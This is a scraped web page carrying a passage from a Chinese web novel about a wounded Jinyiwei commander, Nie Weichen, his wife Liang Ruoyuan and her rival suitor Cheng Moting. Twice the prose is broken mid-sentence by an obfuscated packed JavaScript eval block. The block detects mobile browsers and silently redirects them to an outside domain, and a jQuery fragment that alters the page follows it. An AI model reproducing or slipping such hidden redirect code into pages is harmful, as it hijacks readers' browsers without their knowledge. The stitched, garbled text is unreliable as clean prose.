身后传来衣料的窸窣声,聂未晨撑起身子,手上毫无血色,五指抓紧了榻沿,项上青筋暴起:“他若碰你一根手指……” “怎么?”梁若鸢转身,发尾扬起,“大人要拖着这副身子去砍了御前司暗探的手?”她故意凑近,近到能看清他微微颤动的睫毛,“大人别忘了,明日全京城都需以为锦衣卫指挥使命在旦夕。” 聂未晨忽然笑了。 那笑森然冰冷,梁若鸢本能地后撤,他一把扯了她腰间束带,玄色官服散开,露出她身上锦衣卫的衣袍,窄袖束腰,银线暗纹若隐若现,像极了三年前扬州画舫上那套夜行衣。 “夫人穿这身去?”他指尖掠过她腰间匕首,意有所指,“是旧情难忘?” 梁若鸢呆住,什么?她想了想,一下拍开他的手:“比不上指挥使记性好。” 她飞快系好衣带,转身的一瞬,他又拽住了她手腕,按在血纹上,一阵酥麻顺着血脉直窜心口,激得她轻喘出声:“聂未晨!” “天亮之前回来。”他终于松手,眼神却比方才更暗,“否则我不介意让程墨亭看见……他的刀是怎么被折断的。” 梁若鸢揉着发烫的手腕翻窗而出,夜风都吹不散耳根热意,这混蛋明明重伤在身,怎么还有力气撩拨人? 聂未晨抓起案上盛着铜钱的茶杯砸在门上,梁若鸢跃上屋檐,听见屋内传来瓷盏碎裂的声响,定是指挥使大人摔了东西…… …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100514|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万花楼顶层厢房,程墨亭正在煮茶,梁若鸢推门而入。 房中白雾氤氲,他抬眼望向她,笑意停在唇角:“聂未晨如何了?” “半死不活。”梁若鸢自己坐下,袖中密函故意露出一角,“说吧,你想做什么?” 程墨亭执壶的手几不可察地一顿,梁若鸢察觉……他在紧张?怕聂未晨真死了,还是…… “东西呢?”他忽然倾身,沉香气息扑面而来,这人看似温润如玉,力道却大得惊人,将她一侧肩膀牢牢按住:“梁姑娘,我要那份名单。” “你没说要我带东西来。”梁若鸢翻腕,袖中小刀抵在她喉前,“也没说要拿我的血炼七星丹。” 程墨亭眸色一暗,指尖抚过她的耳垂,摘下一枚沾血的珍珠耳坠,那是她方才在屋顶打斗时不慎溅上的刺客血迹。 “梁姑娘可知我为何选在万花楼?”他松开她,推开雕花的木窗,夜风涌入,吹散满室茶烟,露出窗外一株百年银杏,金叶在月下簌簌作响,“十七年前,梁大人就是在这棵树下……”他指尖轻叩窗棂,“领命离京……” 程墨亭指尖摩挲着珍珠耳坠,眼底暗流涌动:“十七年前,你父亲在这棵银杏树下领命离京时,我就在那里。”他忽然低笑,声音里带着几分少年时的温润,却透着刺骨的冷,“那时我七岁,躲在那个树洞里,看着梁大人将一卷密函交给一个锦衣卫。” 梁若鸢心头一震:“你……” “我父亲程砚之,白莲教主,死在你父亲剑下。”他抬眸,眼底带着一丝悲凉的笑意,“可你知道……我小时候最喜欢的人,是你。” 梁若鸢握刀的手微微一顿。 程墨亭从袖中取出一枚铜钱,方孔系着褪色的红绳,轻轻放在茶案上:“你许已忘了……扬州灯会,你替我打跑那群欺负我的孩子,还送我一包糖。”他指尖轻点铜钱,“这枚铜钱,是你塞给我的,说能辟邪。” 梁若鸢恍惚一瞬,想起那年灯会,她确实救过一个瘦弱的男孩,一群孩子把他推倒在泥水里,而他怀里死死护着一本《论语》,她当时只觉得这书呆子可怜,并不知他是白莲教的少主。 “后来我查了十年才明白,我父亲根本不是梁大人要杀的。”程墨亭一把攥住她的手腕,“是东厂……他们假传梁大人的手令,诱我父亲入局!”他眼底猩红,直直看着眼前女子,“而你父亲到死都不知道,他背了这口黑锅,白莲教借此理由跟东厂合谋让他死无葬身之地……” 梁若鸢呼吸一滞。, 程墨亭猛地松开她,转身推开屏风,露出后面一幅巨大的《九州堪舆图》,图上标注着七处朱砂红点:“朱厚照借炼丹之名,在各地搜罗童男童女,实则是用他们的血养七星阵,妄图逆天改命……”他冷笑起来,“你父亲留下的账册里,就藏着这七处炼丹密窟的位置。” 梁若鸢盯着地图,忽然发现其中一处赫然是庐山龙云洞……她父亲藏账册的地方……血符…… “你引我来,到底想做什么?” 程墨亭忽然俯身,贴着她的耳畔低语:“我要你和我一起,掀了这吃人的世道。”他指尖划过她的锁骨,“你是最关键的证人,而聂未晨……”他忽然笑起来,“他手里有先帝密旨,能凭一人之力,调动边军的神机营。” “你想利用我牵制他?” “不。”程墨亭的笑容竟出现几分少年时的澄澈,“我是想告诉你,若你选择信他,我就毁了你。”他轻轻抚过她的发丝,语气温柔得可怕,“因为我喜欢你,所以更恨你站在我的对立面。” 银杏叶沙沙作响,仿佛十七年前那个夜晚的风亦随她来访。 梁若鸢攥紧了双手:“名单我可以给你,但有一个条件……”她直视程墨亭的双眼,“我要先看到被囚孩童的活口。” 程墨亭低笑:“三日后,子时,银杏树下。”他忽然伸手摘下一片金叶塞进她掌心,“带这片叶子来,我让你看到我的真心。” 梁若鸢攥紧叶子,起身欲走,却听他幽幽道:“对了,东厂的青蚨血引一旦相续,母纹若死,子纹必亡,反之亦然。”他轻笑着,“你若死了,他也活不成,你知道吧?” 37. 买胭脂 梁若鸢脚步一顿,金叶子在掌心攥出细碎声响,她回眸一笑,眼底映着烛火流光:“程大人的真心,还是留着喂狗吧。” 她甩袖下楼,万花楼檐角铜铃在风中叮当乱响,刚拐过街角,一只手把她拽进了暗巷,聂未晨苍白的脸近在咫尺,玄色大氅下隐隐透出血味。 “你!”梁若鸢惊得去摸他身上的伤口,“不要命了?!” 聂未晨将她双手攥在一起举过头顶:“闻到沉香了。”他俯身凑近她颈侧,蹭到她耳后闻了闻,“他碰你哪儿了?” “你疯了?!”梁若鸢后背贴着墙,一身战栗。 月光漏进巷口,照见聂未晨衣领下新鲜的血迹,她本要踢他,顿时卸了力道:“伤口裂了还……” “裂了才好。”他直起身,看着她,声音里混着血气,“太医说指挥使重伤呕血,总得见点真章。”他松开钳制,从她袖中摸出金叶子,“银杏传情?”他指尖一搓,叶片顿成齑粉。 梁若鸢看着他手心血迹混着叶屑,双手捧起他的脸:“吃醋的样子真难看。” 聂未晨将她拦腰抱起,大氅一展罩住两人身影,几个起落便回到聂府后院。 张五吓了一跳,抄起刀又放下,连忙带人退了出去。 他踹开房门,把梁若鸢扔进锦被堆里,扯开染血的中衣俯身压下去:“夫人不妨看看,什么叫真难看。” 烛火骤灭,官袍散开,梁若鸢在黑暗里摸到他后背狰狞的鞭伤:“大人,若我并不喜欢大人,大人当如何?” 聂未晨带着她的手按在自己心口:“程墨亭有没有告诉你……青蚨血引最妙处在……”滚烫的唇堵住了她没出口的疑问,吞下她几声惊喘,“血纹动情时,会发烫……” 梁若鸢腕间血纹灼如烙铁,指尖一点点蜷缩着抵在聂未晨心口:“疼……”她眼尾泛红,声音发颤,手指开始推他。 聂未晨低笑,指腹描过她腕间血纹,那灼热渐渐化作温凉,他俯身吻了她眉心:“睡吧。” 梁若鸢不肯闭眼,指尖勾着他散落的发丝:”大人这般费心,是怕我跑了?” 聂未晨将她往怀里带了带,手心在她后腰轻抚:“跑?”他轻嗤,“夫人腕上系着我的命,能跑到哪儿去?” 她触着他身上一道道鞭伤沉默半晌,往他怀里钻了钻,额头抵在他颈侧,闭眼听他的心跳。 他垂眸看她,摘下她已散的发冠,手指梳理她铺开的长发,声音低哑:“睡吧,我会给你个交代。” 窗外风声渐歇,月光穿透窗棂洒落床榻,银白染了两人交缠的发丝。 梁若鸢呼吸渐匀,迷离中手臂无意识地伸过去,将他抱住,贴着自己,喃喃道:“明日……我有话要问你。” 聂未晨低笑,指腹蹭过她微蹙的眉心,轻声道:“……把诏狱借你。”他合眼,没听见回应,将她搂得更紧了些。 梁若鸢忽然清醒,在黑暗中睁了眼,聂未晨呼吸沉缓,可她知道他还没睡,指尖轻轻划过他心口的旧伤,低声问道:“你为何知道血符之事?” 他闭着眼,低声道:“我调出十二暗卫的密档,发现那年你父亲在书房誊写账册,用朱砂描出的那个图样……”他顿了顿,“那时你……就蹲在窗下数蚂蚁,裙角沾着凤仙花汁。” 梁若鸢呼吸一滞。 那是她六岁时的记忆,模糊中记得父亲书房外种着一排凤仙花,她偷摘过花瓣染指甲,可那时……她并未察觉有人看着。 她忽然察觉了什么,声音微颤:“柳树下偷看我放风筝的……” “是我。”聂未晨低笑,指尖轻轻描摹她的眉骨,“你的风筝挂在了树上,你急得直跺脚,我趁你去找竹竿时,把它弄了下来,又在一片银杏叶下面,画了只小雀。” 梁若鸢心头一震,可程墨亭又是如何知道这些事的? 她还记得那片叶子,金灿灿的,叶脉间藏着一只展翅欲飞的小鸟,她曾以为那是风吹的痕迹,便将它夹进了书里。 她沉默片刻,抬起头:“扬州漕运案那场大火……那些漕工和妇孺,你当真不知他们为何出现在码头?” 聂未晨声音冷沉:“那夜我的人已清空了码头……可寅时三刻,三十七辆粮车忽然出现,车底灌满了火龙油。”他攥紧了她的手,似怕她怪罪,“……我抢出了七个孩子,可火势太大……” 梁若鸢指尖触到他肩上一道烫伤的痕迹,凹凸不平似火焰形状。 “那七星阵呢?”她声音极轻,“陛下用童男童女炼丹……是真的吗?” 聂未晨沉默一瞬:“玄妙观之事,尚未查清。”他指节微紧,“但若真有此事……” 窗外风声骤起,树影摇曳,似有鬼魅低语。 梁若鸢闭了闭眼,忽而翻身压住他,指尖抵在他喉间:“聂未晨,你瞒我的事,还有多少?” 他低笑,握住她的手腕,轻轻一拽,让她跌进怀里。 “夫人若想知道……”他吻了吻她的脸,“明晚随我去诏狱,我亲自审给你看。” …… 天光微透纱窗,梁若鸢悄然起身。 聂未晨仍在沉睡,脸色苍白,显得格外脆弱,她指尖轻轻拂过他微蹙的眉心,又迅速收回手,披衣下榻。 后厨里,药炉炭火正旺,她盯着翻腾的药汁,思绪却飘向昨日玄妙观的血池、聂未晨不让锦衣卫追赶的密道……还有她给程墨亭的辟邪铜钱……宁王若是遭人唆使利用,那父亲当年究竟卷入了怎样的漩涡? 药香渐浓,她滤净药渣,端着药回房,聂未晨还在睡着,她伸手碰了碰他颈侧跳动的脉搏,回头将药碗放在了桌上。 “看够了?”他忽然睁眼,漆黑的眸子没有半分睡意,“夫人起得真早。” 梁若鸢浑身一僵,还未转身,一双手臂将她腰身圈住,聂未晨的下巴抵在她肩头,呼吸有些发颤:“药……苦不苦?” “毒死你最好。”她将勺子塞到他手中,转身推开他。 聂未晨笑了笑,将勺子随手扔进碗里,端起碗来一饮而尽,一滴药汁顺着下颌滑落。 梁若鸢鬼使神差地伸手去擦,他将她的手一把捉住,舌尖轻舔她沾了药的指尖:“夫人亲手熬的,果然更苦。” 她耳根发烫,抽回手:“既喝了药,便好好躺着,我出去一下。” “去哪儿?”他眸色骤冷。 “买胭脂。”她转身便走。 聂未晨嗤笑,身形一闪,拦在门前,玄色寝衣松松垮垮,露出心口尚未愈合的鞭伤:“玄妙观已烧成了灰,御前司的人不知都蹲在何处……夫人此时出门,是想自投罗网,还是……”他逼近一步。 梁若鸢仰头看他,眼底闪过一丝狡黠:“大人这是要软禁我?” 聂未晨盯着她许久,忽然低笑一声,侧身让开了门:“去吧。” 梁若鸢一怔,这是……故意的? “怎么?”聂未晨倚在门框上,唇角微勾,“夫人舍不得走了?” 她轻哼一声,抬脚跨出门槛,他一把拽住她的手:“梁若鸢。”他声音低沉,带着几分警告,“你若敢去见程墨亭……” “如何?”她挑眉,故意挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110550|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衅。 聂未晨盯着她,眸色深沉,最终松了手:“……记得回来吃饭。” 梁若鸢心头微动,异样的情绪添了她些许慌乱,她头也不回地踏出房门,一步比一步快。 聂未晨看着她的背影,眸色渐冷,他缓缓抬手,指尖轻触颈侧血纹……瓦剌人还没抓到,不能让她独自乱走…… “张五。”他低唤一声。 暗处闪出一道大剌剌的身影:“大人。” “带人跟着她。”聂未晨淡淡道,“若她去见了程墨亭……” 张五眉头一紧,眼珠转了转,等着他的命令。 聂未晨沉默片刻,最终只道:“……护好她。” 京城早市人烟尚少,梁若鸢走得顺畅,一路疾行,却是在出城之际不由自主地慢了下来。 她本想去玄妙观再查探一番,可脑海中不断浮现聂未晨那双深不见底的眼睛,他明明知道她要去做什么,却还是放她走了。 “……真是个疯子。”她低声喃喃,攥紧了袖中的银杏叶。 她脚步一顿,察觉身后有人跟踪,冷笑一声,闪进一条暗巷,待人追进来,她已悄无声息地绕至他身后,袖中小刀抵上了他的喉咙。 “张五?”她亦感惊讶,这个刚入职的锦衣卫,跟她来做什么? 她收了刀,上下打量他:“聂未晨让你跟着我?” 糙汉子一身飞鱼服,显得有些别扭,他僵着身子,依旧不敢动弹:“梁姑娘,大人只是担心您的安危……” 梁若鸢嗤笑:“回去告诉他,我梁若鸢想做什么,还轮不到他管。” 张五犹豫了一下,低声道:“梁姑娘,可大人身上的伤……” “闭嘴。”梁若鸢打断他,“他的伤与我何干?又不是我打的。” 话虽如此,她转身之后脚步迟疑更甚,最终停下,深吸了口气,转头折返。 聂府多了些锦衣卫巡查,聂未晨书房里奔出两三个锦衣卫从她身边经过,并未看她。 蓝羽站在房门口,一副惆怅模样,见她回来,眼神躲闪。 聂未晨将御前司布防图和暗桩名单摊在案上,细看片刻,走出门来本要找他,却在看见梁若鸢时有些讶异,人停在书房门口。 他换了身素白常服,乍一看似个翩翩公子,就看了她一会儿,摆手示意蓝羽退下,随即又是一副似笑非笑的模样:“夫人不是去买胭脂?” 梁若鸢冷着脸走过去,一把拽住他的衣襟:“聂未晨,你是不是觉得,我离了你就活不下去?” 他低笑,任由她拽着:“夫人这是何意?” “你明知道我是去查程墨亭,却故意放我走……”她故意用力拉他,“是想试探我?” 聂未晨眸色渐深,似有日曦浮散,抬手抚上她的脸:“我只是想看看……”他声音极轻,“夫人心里,到底有没有我。” 梁若鸢呼吸一滞,猛地推开他:“疯子!” 他后退两步,伤口刺痛,感觉到自己身上有些地方渗出血来,却仍笑着看她:“夫人既回来了……”他缓缓走近,凝视着她,“不如告诉我,你本打算去做什么?” 梁若鸢盯着他,忽然一笑:“我去见了程墨亭。” 聂未晨脸色骤冷。 “骗你的。”她挑眉,故意气他,“我只是去买了胭脂。” 她从袖中掏出一盒胭脂,指尖沾了一点,轻轻抹在嘴唇上,抿了一下。 聂未晨盯着她的唇,眸色渐深,忽然扣住她的后颈,低头吻了上去。 “梁若鸢,你逃不掉的。”